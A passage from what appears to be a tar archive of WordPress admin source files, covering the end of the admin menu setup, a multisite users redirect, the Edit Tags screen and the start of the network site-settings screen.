$edit_tags_file, $taxonomy->name ) ); } } unset( $post_type, $post_type_obj, $post_type_for_id, $post_type_menu_position, $menu_icon, $submenu_index, $taxonomy, $post_new_file ); $menu[59] = array( '', 'read', 'separator2', '', 'wp-menu-separator' ); $appearance_capability = current_user_can( 'switch_themes' ) ? 'switch_themes' : 'edit_theme_options'; $menu[60] = array( __( 'Appearance' ), $appearance_capability, 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' ); $count = ''; if ( ! is_multisite() && current_user_can( 'update_themes' ) ) { if ( ! isset( $update_data ) ) { $update_data = wp_get_update_data(); } $count = sprintf( '<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>', $update_data['counts']['themes'], number_format_i18n( $update_data['counts']['themes'] ) ); } /* translators: %s: Number of available theme updates. */ $submenu['themes.php'][5] = array( sprintf( __( 'Themes %s' ), $count ), $appearance_capability, 'themes.php' ); if ( wp_is_block_theme() ) { $submenu['themes.php'][6] = array( _x( 'Editor', 'site editor menu item' ), 'edit_theme_options', 'site-editor.php' ); } else { $supports_stylebook = ( current_theme_supports( 'editor-styles' ) || wp_theme_has_theme_json() ); if ( $supports_stylebook ) { $submenu['themes.php'][6] = array( _x( 'Design', 'design menu item' ), 'edit_theme_options', 'site-editor.php' ); } else { $submenu['themes.php'][6] = array( _x( 'Patterns', 'patterns menu item' ), 'edit_theme_options', 'site-editor.php?p=/pattern' ); } } $customize_url = add_query_arg( 'return', urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ), 'customize.php' ); // Hide Customize link on block themes unless a plugin or theme // is using 'customize_register' to add a setting. if ( ! wp_is_block_theme() || has_action( 'customize_register' ) ) { $submenu['themes.php'][7] = array( __( 'Customize' ), 'customize', esc_url( $customize_url ), '', 'hide-if-no-customize' ); } if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) ) { $submenu['themes.php'][10] = array( __( 'Menus' ), 'edit_theme_options', 'nav-menus.php' ); } if ( current_theme_supports( 'custom-header' ) && current_user_can( 'customize' ) ) { $customize_header_url = add_query_arg( array( 'autofocus' => array( 'control' => 'header_image' ) ), $customize_url ); $submenu['themes.php'][15] = array( _x( 'Header', 'custom image header' ), $appearance_capability, esc_url( $customize_header_url ), '', 'hide-if-no-customize' ); } if ( current_theme_supports( 'custom-background' ) && current_user_can( 'customize' ) ) { $customize_background_url = add_query_arg( array( 'autofocus' => array( 'control' => 'background_image' ) ), $customize_url ); $submenu['themes.php'][20] = array( _x( 'Background', 'custom background' ), $appearance_capability, esc_url( $customize_background_url ), '', 'hide-if-no-customize' ); } unset( $customize_url, $appearance_capability ); // Add 'Theme File Editor' to the bottom of the Appearance (non-block themes) or Tools (block themes) menu. if ( ! is_multisite() ) { // Must use API on the admin_menu hook, direct modification is only possible on/before the _admin_menu hook. add_action( 'admin_menu', '_add_themes_utility_last', 101 ); } /** * Adds the 'Theme File Editor' menu item to the bottom of the Appearance (non-block themes) * or Tools (block themes) menu. * * @access private * @since 3.0.0 * @since 5.9.0 Renamed 'Theme Editor' to 'Theme File Editor'. * Relocates to Tools for block themes. */ function _add_themes_utility_last() { add_submenu_page( wp_is_block_theme() ? 'tools.php' : 'themes.php', __( 'Theme File Editor' ), __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' ); } /** * Adds the 'Plugin File Editor' menu item after the 'Themes File Editor' in Tools * for block themes. * * @access private * @since 5.9.0 */ function _add_plugin_file_editor_to_tools() { if ( ! wp_is_block_theme() ) { return; } add_submenu_page( 'tools.php', __( 'Plugin File Editor' ), __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' ); } $count = ''; if ( ! is_multisite() && current_user_can( 'update_plugins' ) ) { if ( ! isset( $update_data ) ) { $update_data = wp_get_update_data(); } $count = sprintf( '<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>', $update_data['counts']['plugins'], number_format_i18n( $update_data['counts']['plugins'] ) ); } /* translators: %s: Number of available plugin updates. */ $menu[65] = array( sprintf( __( 'Plugins %s' ), $count ), 'activate_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' ); $submenu['plugins.php'][5] = array( __( 'Installed Plugins' ), 'activate_plugins', 'plugins.php' ); if ( ! is_multisite() ) { $submenu['plugins.php'][10] = array( __( 'Add Plugin' ), 'install_plugins', 'plugin-install.php' ); if ( wp_is_block_theme() ) { // Place the menu item below the Theme File Editor menu item. add_action( 'admin_menu', '_add_plugin_file_editor_to_tools', 101 ); } else { $submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' ); } } unset( $update_data ); if ( current_user_can( 'list_users' ) ) { $menu[70] = array( __( 'Users' ), 'list_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' ); } else { $menu[70] = array( __( 'Profile' ), 'read', 'profile.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' ); } if ( current_user_can( 'list_users' ) ) { $_wp_real_parent_file['profile.php'] = 'users.php'; // Back-compat for plugins adding submenus to profile.php. $submenu['users.php'][5] = array( __( 'All Users' ), 'list_users', 'users.php' ); if ( current_user_can( 'create_users' ) ) { $submenu['users.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' ); } elseif ( is_multisite() ) { $submenu['users.php'][10] = array( __( 'Add User' ), 'promote_users', 'user-new.php' ); } $submenu['users.php'][15] = array( __( 'Profile' ), 'read', 'profile.php' ); } else { $_wp_real_parent_file['users.php'] = 'profile.php'; $submenu['profile.php'][5] = array( __( 'Profile' ), 'read', 'profile.php' ); if ( current_user_can( 'create_users' ) ) { $submenu['profile.php'][10] = array( __( 'Add User' ), 'create_users', 'user-new.php' ); } elseif ( is_multisite() ) { $submenu['profile.php'][10] = array( __( 'Add User' ), 'promote_users', 'user-new.php' ); } } $site_health_count = ''; if ( ! is_multisite() && current_user_can( 'view_site_health_checks' ) ) { $get_issues = get_transient( 'health-check-site-status-result' ); $issue_counts = array(); if ( false !== $get_issues ) { $issue_counts = json_decode( $get_issues, true ); } if ( ! is_array( $issue_counts ) || ! $issue_counts ) { $issue_counts = array( 'good' => 0, 'recommended' => 0, 'critical' => 0, ); } $site_health_count = sprintf( '<span class="menu-counter site-health-counter count-%s"><span class="count">%s</span></span>', $issue_counts['critical'], number_format_i18n( $issue_counts['critical'] ) ); } $menu[75] = array( __( 'Tools' ), 'edit_posts', 'tools.php', '', 'menu-top menu-icon-tools', 'menu-tools', 'dashicons-admin-tools' ); $submenu['tools.php'][5] = array( __( 'Available Tools' ), 'edit_posts', 'tools.php' ); $submenu['tools.php'][10] = array( __( 'Import' ), 'import', 'import.php' ); $submenu['tools.php'][15] = array( __( 'Export' ), 'export', 'export.php' ); /* translators: %s: Number of critical Site Health checks. */ $submenu['tools.php'][20] = array( sprintf( __( 'Site Health %s' ), $site_health_count ), 'view_site_health_checks', 'site-health.php' ); $submenu['tools.php'][25] = array( __( 'Export Personal Data' ), 'export_others_personal_data', 'export-personal-data.php' ); $submenu['tools.php'][30] = array( __( 'Erase Personal Data' ), 'erase_others_personal_data', 'erase-personal-data.php' ); if ( is_multisite() && ! is_main_site() && '1' !== get_site()->deleted ) { $submenu['tools.php'][35] = array( __( 'Delete Site' ), 'delete_site', 'ms-delete-site.php' ); } if ( ! is_multisite() && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) { $submenu['tools.php'][50] = array( __( 'Network Setup' ), 'setup_network', 'network.php' ); } $menu[80] = array( __( 'Settings' ), 'manage_options', 'options-general.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' ); $submenu['options-general.php'][10] = array( _x( 'General', 'settings screen' ), 'manage_options', 'options-general.php' ); $submenu['options-general.php'][15] = array( __( 'Writing' ), 'manage_options', 'options-writing.php' ); $submenu['options-general.php'][20] = array( __( 'Reading' ), 'manage_options', 'options-reading.php' ); $submenu['options-general.php'][25] = array( __( 'Discussion' ), 'manage_options', 'options-discussion.php' ); $submenu['options-general.php'][30] = array( __( 'Media' ), 'manage_options', 'options-media.php' ); $submenu['options-general.php'][40] = array( __( 'Permalinks' ), 'manage_options', 'options-permalink.php' ); $submenu['options-general.php'][45] = array( __( 'Privacy' ), 'manage_privacy_options', 'options-privacy.php' ); $_wp_last_utility_menu = 80; // The index of the last top-level menu in the utility menu group. $menu[99] = array( '', 'read', 'separator-last', '', 'wp-menu-separator' ); // Back-compat for old top-levels. $_wp_real_parent_file['post.php'] = 'edit.php'; $_wp_real_parent_file['post-new.php'] = 'edit.php'; $_wp_real_parent_file['edit-pages.php'] = 'edit.php?post_type=page'; $_wp_real_parent_file['page-new.php'] = 'edit.php?post_type=page'; $_wp_real_parent_file['wpmu-admin.php'] = 'tools.php'; $_wp_real_parent_file['ms-admin.php'] = 'tools.php'; // Ensure backward compatibility. $compat = array( 'index' => 'dashboard', 'edit' => 'posts', 'post' => 'posts', 'upload' => 'media', 'link-manager' => 'links', 'edit-pages' => 'pages', 'page' => 'pages', 'edit-comments' => 'comments', 'options-general' => 'settings', 'themes' => 'appearance', ); require_once ABSPATH . 'wp-admin/includes/menu.php'; ms-users.php 0000644 00000000327 15156724735 0007054 0 ustar 00 <?php /** * Multisite users administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ require_once __DIR__ . '/admin.php'; wp_redirect( network_admin_url( 'users.php' ) ); exit; edit-tags.php 0000644 00000054005 15156724735 0007161 0 ustar 00 <?php /** * Edit Tags Administration Screen. * * @package WordPress * @subpackage Administration */ /** WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! $taxnow ) { wp_die( __( 'Invalid taxonomy.' ) ); } $tax = get_taxonomy( $taxnow ); if ( ! $tax ) { wp_die( __( 'Invalid taxonomy.' ) ); } if ( ! in_array( $tax->name, get_taxonomies( array( 'show_ui' => true ) ), true ) ) { wp_die( __( 'Sorry, you are not allowed to edit terms in this taxonomy.' ) ); } if ( ! current_user_can( $tax->cap->manage_terms ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to manage terms in this taxonomy.' ) . '</p>', 403 ); } /** * $post_type is set when the WP_Terms_List_Table instance is created. * * @global string $post_type Global post type. */ global $post_type; $wp_list_table = _get_list_table( 'WP_Terms_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); $title = $tax->labels->name; if ( 'post' !== $post_type ) { $parent_file = ( 'attachment' === $post_type ) ? 'upload.php' : "edit.php?post_type=$post_type"; $submenu_file = "edit-tags.php?taxonomy=$taxonomy&post_type=$post_type"; } elseif ( 'link_category' === $tax->name ) { $parent_file = 'link-manager.php'; $submenu_file = 'edit-tags.php?taxonomy=link_category'; } else { $parent_file = 'edit.php'; $submenu_file = "edit-tags.php?taxonomy=$taxonomy"; } add_screen_option( 'per_page', array( 'default' => 20, 'option' => 'edit_' . $tax->name . '_per_page', ) ); get_current_screen()->set_screen_reader_content( array( 'heading_pagination' => $tax->labels->items_list_navigation, 'heading_list' => $tax->labels->items_list, ) ); $location = false; $referer = wp_get_referer(); if ( ! $referer ) { // For POST requests. $referer = wp_unslash( $_SERVER['REQUEST_URI'] ); } $referer = remove_query_arg( array( '_wp_http_referer', '_wpnonce', 'error', 'message', 'paged' ), $referer ); switch ( $wp_list_table->current_action() ) { case 'add-tag': check_admin_referer( 'add-tag', '_wpnonce_add-tag' ); if ( ! current_user_can( $tax->cap->edit_terms ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to create terms in this taxonomy.' ) . '</p>', 403 ); } $ret = wp_insert_term( $_POST['tag-name'], $taxonomy, $_POST ); if ( $ret && ! is_wp_error( $ret ) ) { $location = add_query_arg( 'message', 1, $referer ); } else { $location = add_query_arg( array( 'error' => true, 'message' => 4, ), $referer ); } break; case 'delete': if ( ! isset( $_REQUEST['tag_ID'] ) ) { break; } $tag_ID = (int) $_REQUEST['tag_ID']; check_admin_referer( 'delete-tag_' . $tag_ID ); if ( ! current_user_can( 'delete_term', $tag_ID ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to delete this item.' ) . '</p>', 403 ); } wp_delete_term( $tag_ID, $taxonomy ); $location = add_query_arg( 'message', 2, $referer ); // When deleting a term, prevent the action from redirecting back to a term that no longer exists. $location = remove_query_arg( array( 'tag_ID', 'action' ), $location ); break; case 'bulk-delete': check_admin_referer( 'bulk-tags' ); if ( ! current_user_can( $tax->cap->delete_terms ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to delete these items.' ) . '</p>', 403 ); } $tags = (array) $_REQUEST['delete_tags']; foreach ( $tags as $tag_ID ) { wp_delete_term( $tag_ID, $taxonomy ); } $location = add_query_arg( 'message', 6, $referer ); break; case 'edit': if ( ! isset( $_REQUEST['tag_ID'] ) ) { break; } $term_id = (int) $_REQUEST['tag_ID']; $term = get_term( $term_id ); if ( ! $term instanceof WP_Term ) { wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) ); } wp_redirect( sanitize_url( get_edit_term_link( $term_id, $taxonomy, $post_type ) ) ); exit; case 'editedtag': $tag_ID = (int) $_POST['tag_ID']; check_admin_referer( 'update-tag_' . $tag_ID ); if ( ! current_user_can( 'edit_term', $tag_ID ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to edit this item.' ) . '</p>', 403 ); } $tag = get_term( $tag_ID, $taxonomy ); if ( ! $tag ) { wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) ); } $ret = wp_update_term( $tag_ID, $taxonomy, $_POST ); if ( $ret && ! is_wp_error( $ret ) ) { $location = add_query_arg( 'message', 3, $referer ); } else { $location = add_query_arg( array( 'error' => true, 'message' => 5, ), $referer ); } break; default: if ( ! $wp_list_table->current_action() || ! isset( $_REQUEST['delete_tags'] ) ) { break; } check_admin_referer( 'bulk-tags' ); $screen = get_current_screen()->id; $tags = (array) $_REQUEST['delete_tags']; /** This action is documented in wp-admin/edit.php */ $location = apply_filters( "handle_bulk_actions-{$screen}", $location, $wp_list_table->current_action(), $tags ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores break; } if ( ! $location && ! empty( $_REQUEST['_wp_http_referer'] ) ) { $location = remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ); } if ( $location ) { if ( $pagenum > 1 ) { $location = add_query_arg( 'paged', $pagenum, $location ); // $pagenum takes care of $total_pages. } if ( 1 === $pagenum ) { $location = remove_query_arg( 'paged', $location ); } /** * Filters the taxonomy redirect destination URL. * * @since 4.6.0 * * @param string $location The destination URL. * @param WP_Taxonomy $tax The taxonomy object. */ wp_redirect( apply_filters( 'redirect_term_location', $location, $tax ) ); exit; } $wp_list_table->prepare_items(); $total_pages = $wp_list_table->get_pagination_arg( 'total_pages' ); if ( $pagenum > $total_pages && $total_pages > 0 ) { wp_redirect( add_query_arg( 'paged', $total_pages ) ); exit; } wp_enqueue_script( 'admin-tags' ); if ( current_user_can( $tax->cap->edit_terms ) ) { wp_enqueue_script( 'inline-edit-tax' ); } if ( 'category' === $taxonomy || 'link_category' === $taxonomy || 'post_tag' === $taxonomy ) { $help = ''; if ( 'category' === $taxonomy ) { $help = '<p>' . sprintf( /* translators: %s: URL to Writing Settings screen. */ __( 'You can use categories to define sections of your site and group related posts. The default category is “Uncategorized” until you change it in your <a href="%s">writing settings</a>.' ), 'options-writing.php' ) . '</p>'; } elseif ( 'link_category' === $taxonomy ) { $help = '<p>' . __( 'You can create groups of links by using Link Categories. Link Category names must be unique and Link Categories are separate from the categories you use for posts.' ) . '</p>'; } else { $help = '<p>' . __( 'You can assign keywords to your posts using <strong>tags</strong>. Unlike categories, tags have no hierarchy, meaning there is no relationship from one tag to another.' ) . '</p>'; } if ( 'link_category' === $taxonomy ) { $help .= '<p>' . __( 'You can delete Link Categories in the Bulk Action pull-down, but that action does not delete the links within the category. Instead, it moves them to the default Link Category.' ) . '</p>'; } else { $help .= '<p>' . __( 'What’s the difference between categories and tags? Normally, tags are ad-hoc keywords that identify important information in your post (names, subjects, etc) that may or may not recur in other posts, while categories are pre-determined sections. If you think of your site like a book, the categories are like the Table of Contents and the tags are like the terms in the index.' ) . '</p>'; } get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); if ( 'category' === $taxonomy || 'post_tag' === $taxonomy ) { if ( 'category' === $taxonomy ) { $help = '<p>' . __( 'When adding a new category on this screen, you’ll fill in the following fields:' ) . '</p>'; } else { $help = '<p>' . __( 'When adding a new tag on this screen, you’ll fill in the following fields:' ) . '</p>'; } $help .= '<ul>' . '<li>' . __( '<strong>Name</strong> — The name is how it appears on your site.' ) . '</li>'; $help .= '<li>' . __( '<strong>Slug</strong> — The “slug” is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.' ) . '</li>'; if ( 'category' === $taxonomy ) { $help .= '<li>' . __( '<strong>Parent</strong> — Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have child categories for Bebop and Big Band. Totally optional. To create a subcategory, just choose another category from the Parent dropdown.' ) . '</li>'; } $help .= '<li>' . __( '<strong>Description</strong> — The description is not prominent by default; however, some themes may display it.' ) . '</li>' . '</ul>' . '<p>' . __( 'You can change the display of this screen using the Screen Options tab to set how many items are displayed per screen and to display/hide columns in the table.' ) . '</p>'; get_current_screen()->add_help_tab( array( 'id' => 'adding-terms', 'title' => 'category' === $taxonomy ? __( 'Adding Categories' ) : __( 'Adding Tags' ), 'content' => $help, ) ); } $help = '<p><strong>' . __( 'For more information:' ) . '</strong></p>'; if ( 'category' === $taxonomy ) { $help .= '<p>' . __( '<a href="https://wordpress.org/documentation/article/posts-categories-screen/">Documentation on Categories</a>' ) . '</p>'; } elseif ( 'link_category' === $taxonomy ) { $help .= '<p>' . __( '<a href="https://codex.wordpress.org/Links_Link_Categories_Screen">Documentation on Link Categories</a>' ) . '</p>'; } else { $help .= '<p>' . __( '<a href="https://wordpress.org/documentation/article/posts-tags-screen/">Documentation on Tags</a>' ) . '</p>'; } $help .= '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'; get_current_screen()->set_help_sidebar( $help ); unset( $help ); } require_once ABSPATH . 'wp-admin/admin-header.php'; // Also used by the Edit Tag form. require_once ABSPATH . 'wp-admin/includes/edit-tag-messages.php'; if ( is_plugin_active( 'wpcat2tag-importer/wpcat2tag-importer.php' ) ) { $import_link = admin_url( 'admin.php?import=wpcat2tag' ); } else { $import_link = admin_url( 'import.php' ); } ?> <div class="wrap nosubsub"> <h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1> <?php if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) { echo '<span class="subtitle">'; printf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '<strong>' . esc_html( wp_unslash( $_REQUEST['s'] ) ) . '</strong>' ); echo '</span>'; } ?> <hr class="wp-header-end"> <?php $class = ( isset( $_REQUEST['error'] ) ) ? 'error' : 'updated'; if ( $message ) { wp_admin_notice( $message, array( 'id' => 'message', 'additional_classes' => array( $class ), 'dismissible' => true, ) ); $_SERVER['REQUEST_URI'] = remove_query_arg( array( 'message', 'error' ), $_SERVER['REQUEST_URI'] ); } ?> <div id="ajax-response"></div> <form class="search-form wp-clearfix" method="get"> <input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" /> <input type="hidden" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" /> <?php $wp_list_table->search_box( $tax->labels->search_items, 'tag' ); ?> </form> <?php $can_edit_terms = current_user_can( $tax->cap->edit_terms ); if ( $can_edit_terms ) { ?> <div id="col-container" class="wp-clearfix"> <div id="col-left"> <div class="col-wrap"> <?php if ( 'category' === $taxonomy ) { /** * Fires before the Add Category form. * * @since 2.1.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_add_form'} instead. * * @param object $arg Optional arguments cast to an object. */ do_action_deprecated( 'add_category_form_pre', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_pre_add_form' ); } elseif ( 'link_category' === $taxonomy ) { /** * Fires before the link category form. * * @since 2.3.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_add_form'} instead. * * @param object $arg Optional arguments cast to an object. */ do_action_deprecated( 'add_link_category_form_pre', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_pre_add_form' ); } else { /** * Fires before the Add Tag form. * * @since 2.5.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_pre_add_form'} instead. * * @param string $taxonomy The taxonomy slug. */ do_action_deprecated( 'add_tag_form_pre', array( $taxonomy ), '3.0.0', '{$taxonomy}_pre_add_form' ); } /** * Fires before the Add Term form for all taxonomies. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `category_pre_add_form` * - `post_tag_pre_add_form` * * @since 3.0.0 * * @param string $taxonomy The taxonomy slug. */ do_action( "{$taxonomy}_pre_add_form", $taxonomy ); ?> <div class="form-wrap"> <h2><?php echo $tax->labels->add_new_item; ?></h2> <form id="addtag" method="post" action="edit-tags.php" class="validate" <?php /** * Fires inside the Add Tag form tag. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `category_term_new_form_tag` * - `post_tag_term_new_form_tag` * * @since 3.7.0 */ do_action( "{$taxonomy}_term_new_form_tag" ); ?> > <input type="hidden" name="action" value="add-tag" /> <input type="hidden" name="screen" value="<?php echo esc_attr( $current_screen->id ); ?>" /> <input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" /> <input type="hidden" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" /> <?php wp_nonce_field( 'add-tag', '_wpnonce_add-tag' ); ?> <div class="form-field form-required term-name-wrap"> <label for="tag-name"><?php _ex( 'Name', 'term name' ); ?></label> <input name="tag-name" id="tag-name" type="text" value="" size="40" aria-required="true" aria-describedby="name-description" /> <p id="name-description"><?php echo $tax->labels->name_field_description; ?></p> </div> <div class="form-field term-slug-wrap"> <label for="tag-slug"><?php _e( 'Slug' ); ?></label> <input name="slug" id="tag-slug" type="text" value="" size="40" aria-describedby="slug-description" /> <p id="slug-description"><?php echo $tax->labels->slug_field_description; ?></p> </div> <?php if ( is_taxonomy_hierarchical( $taxonomy ) ) : ?> <div class="form-field term-parent-wrap"> <label for="parent"><?php echo esc_html( $tax->labels->parent_item ); ?></label> <?php $dropdown_args = array( 'hide_empty' => 0, 'hide_if_empty' => false, 'taxonomy' => $taxonomy, 'name' => 'parent', 'orderby' => 'name', 'hierarchical' => true, 'show_option_none' => __( 'None' ), ); /** * Filters the taxonomy parent drop-down on the Edit Term page. * * @since 3.7.0 * @since 4.2.0 Added `$context` parameter. * * @param array $dropdown_args { * An array of taxonomy parent drop-down arguments. * * @type int|bool $hide_empty Whether to hide terms not attached to any posts. Default 0. * @type bool $hide_if_empty Whether to hide the drop-down if no terms exist. Default false. * @type string $taxonomy The taxonomy slug. * @type string $name Value of the name attribute to use for the drop-down select element. * Default 'parent'. * @type string $orderby The field to order by. Default 'name'. * @type bool $hierarchical Whether the taxonomy is hierarchical. Default true. * @type string $show_option_none Label to display if there are no terms. Default 'None'. * } * @param string $taxonomy The taxonomy slug. * @param string $context Filter context. Accepts 'new' or 'edit'. */ $dropdown_args = apply_filters( 'taxonomy_parent_dropdown_args', $dropdown_args, $taxonomy, 'new' ); $dropdown_args['aria_describedby'] = 'parent-description'; wp_dropdown_categories( $dropdown_args ); ?> <?php if ( 'category' === $taxonomy ) : ?> <p id="parent-description"><?php _e( 'Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.' ); ?></p> <?php else : ?> <p id="parent-description"><?php echo $tax->labels->parent_field_description; ?></p> <?php endif; ?> </div> <?php endif; // is_taxonomy_hierarchical() ?> <div class="form-field term-description-wrap"> <label for="tag-description"><?php _e( 'Description' ); ?></label> <textarea name="description" id="tag-description" rows="5" cols="40" aria-describedby="description-description"></textarea> <p id="description-description"><?php echo $tax->labels->desc_field_description; ?></p> </div> <?php if ( ! is_taxonomy_hierarchical( $taxonomy ) ) { /** * Fires after the Add Tag form fields for non-hierarchical taxonomies. * * @since 3.0.0 * * @param string $taxonomy The taxonomy slug. */ do_action( 'add_tag_form_fields', $taxonomy ); } /** * Fires after the Add Term form fields. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `category_add_form_fields` * - `post_tag_add_form_fields` * * @since 3.0.0 * * @param string $taxonomy The taxonomy slug. */ do_action( "{$taxonomy}_add_form_fields", $taxonomy ); ?> <p class="submit"> <?php submit_button( $tax->labels->add_new_item, 'primary', 'submit', false ); ?> <span class="spinner"></span> </p> <?php if ( 'category' === $taxonomy ) { /** * Fires at the end of the Edit Category form. * * @since 2.1.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_add_form'} instead. * * @param object $arg Optional arguments cast to an object. */ do_action_deprecated( 'edit_category_form', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_add_form' ); } elseif ( 'link_category' === $taxonomy ) { /** * Fires at the end of the Edit Link form. * * @since 2.3.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_add_form'} instead. * * @param object $arg Optional arguments cast to an object. */ do_action_deprecated( 'edit_link_category_form', array( (object) array( 'parent' => 0 ) ), '3.0.0', '{$taxonomy}_add_form' ); } else { /** * Fires at the end of the Add Tag form. * * @since 2.7.0 * @deprecated 3.0.0 Use {@see '{$taxonomy}_add_form'} instead. * * @param string $taxonomy The taxonomy slug. */ do_action_deprecated( 'add_tag_form', array( $taxonomy ), '3.0.0', '{$taxonomy}_add_form' ); } /** * Fires at the end of the Add Term form for all taxonomies. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `category_add_form` * - `post_tag_add_form` * * @since 3.0.0 * * @param string $taxonomy The taxonomy slug. */ do_action( "{$taxonomy}_add_form", $taxonomy ); ?> </form></div> </div> </div><!-- /col-left --> <div id="col-right"> <div class="col-wrap"> <?php } ?> <?php $wp_list_table->views(); ?> <form id="posts-filter" method="post"> <input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" /> <input type="hidden" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" /> <?php $wp_list_table->display(); ?> </form> <?php if ( 'category' === $taxonomy ) : ?> <div class="form-wrap edit-term-notes"> <p> <?php printf( /* translators: %s: Default category. */ __( 'Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category are set to the default category %s. The default category cannot be deleted.' ), /** This filter is documented in wp-includes/category-template.php */ '<strong>' . apply_filters( 'the_category', get_cat_name( get_option( 'default_category' ) ), '', '' ) . '</strong>' ); ?> </p> <?php if ( current_user_can( 'import' ) ) : ?> <p> <?php printf( /* translators: %s: URL to Categories to Tags Converter tool. */ __( 'Categories can be selectively converted to tags using the <a href="%s">category to tag converter</a>.' ), esc_url( $import_link ) ); ?> </p> <?php endif; ?> </div> <?php elseif ( 'post_tag' === $taxonomy && current_user_can( 'import' ) ) : ?> <div class="form-wrap edit-term-notes"> <p> <?php printf( /* translators: %s: URL to Categories to Tags Converter tool. */ __( 'Tags can be selectively converted to categories using the <a href="%s">tag to category converter</a>.' ), esc_url( $import_link ) ); ?> </p> </div> <?php endif; /** * Fires after the taxonomy list table. * * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `after-category-table` * - `after-post_tag-table` * * @since 3.0.0 * * @param string $taxonomy The taxonomy name. */ do_action( "after-{$taxonomy}-table", $taxonomy ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores if ( $can_edit_terms ) { ?> </div> </div><!-- /col-right --> </div><!-- /col-container --> <?php } ?> </div><!-- /wrap --> <?php if ( ! wp_is_mobile() ) : ?> <script type="text/javascript"> try{document.forms.addtag['tag-name'].focus();}catch(e){} </script> <?php endif; $wp_list_table->inline_edit(); require_once ABSPATH . 'wp-admin/admin-footer.php'; network/site-settings.php 0000644 00000012737 15156724735 0011601 0 ustar 00 <?php /** * Edit Site Settings Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this site.' ) ); } get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $is_main_site = is_main_site( $id ); if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] && is_array( $_POST['option'] ) ) { check_admin_referer( 'edit-site' ); switch_to_blog( $id ); $skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form. foreach ( (array) $_POST['option'] as $key => $val ) { $key = wp_unslash( $key ); $val = 